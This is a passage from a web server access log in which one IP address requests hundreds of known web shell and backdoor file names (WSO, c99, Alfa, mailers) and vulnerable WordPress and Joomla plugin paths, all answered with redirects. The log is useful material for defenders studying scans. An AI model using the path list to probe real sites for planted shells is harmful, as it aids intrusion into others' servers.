HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:28 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:29 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:29 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:29 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:29 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:30 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:30 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:30 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:31 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:31 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:31 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:32 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:32 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:32 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:33 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:33 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:34 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:35 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:36 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:36 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:36 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:37 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:37 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:37 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:38 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:38 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:38 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:39 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:39 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:39 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:40 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:40 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:41 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:41 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:41 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:42 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:42 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:43 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:44 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:44 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:44 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:45 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:45 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:45 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:46 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:46 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:47 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:47 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:48 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:48 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:49 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:49 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:50 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:50 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:50 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:51 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:51 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:51 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:52 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:52 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:52 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:53 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:53 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:53 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:54 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:54 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:54 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:54 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:55 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:55 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:55 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:56 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:56 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:56 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:57 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:57 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:57 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:58 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:58 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:58 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:59 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:36:59 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:00 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:00 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:00 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:01 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:01 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:01 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:02 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:02 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:02 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:03 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:03 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:03 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:04 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:04 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:04 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:05 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:05 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:05 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:06 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:06 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:07 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:07 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:07 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:07 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:08 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:08 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:08 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:09 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:09 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:09 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:10 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:10 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:10 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:11 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:11 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:12 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:12 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:12 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:13 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:13 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:13 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:14 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:14 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:14 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:15 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:15 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:15 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:16 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:16 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:16 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:17 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:17 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:18 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:18 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:18 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:19 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:19 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:19 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:20 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:20 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:20 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:21 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:21 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:21 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:22 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:22 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:23 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:23 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:23 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:24 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:24 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:25 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:25 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:25 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:26 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:26 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:26 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:27 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:27 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:27 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:28 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:28 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:29 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:29 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:29 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:30 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:30 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:30 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:31 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:31 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:31 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:32 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:32 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:32 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:33 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:33 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:33 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:34 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:34 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:34 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:35 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:35 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:35 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:36 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:36 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:36 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:37 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:37 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:37 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:38 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:38 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:38 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:39 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:39 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:39 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:40 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:40 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:40 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:41 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:41 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:41 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:42 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:42 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:42 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:43 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:43 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:43 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:44 -0400] "GET //wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:44 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:44 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:45 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:45 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:45 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:46 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:47 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:47 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:48 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:48 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:49 -0400] "GET //wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:49 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:49 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:50 -0400] "GET //modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:50 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:51 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:51 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:51 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:52 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:52 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:52 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:53 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:53 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:53 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:53 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:54 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:54 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:54 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - 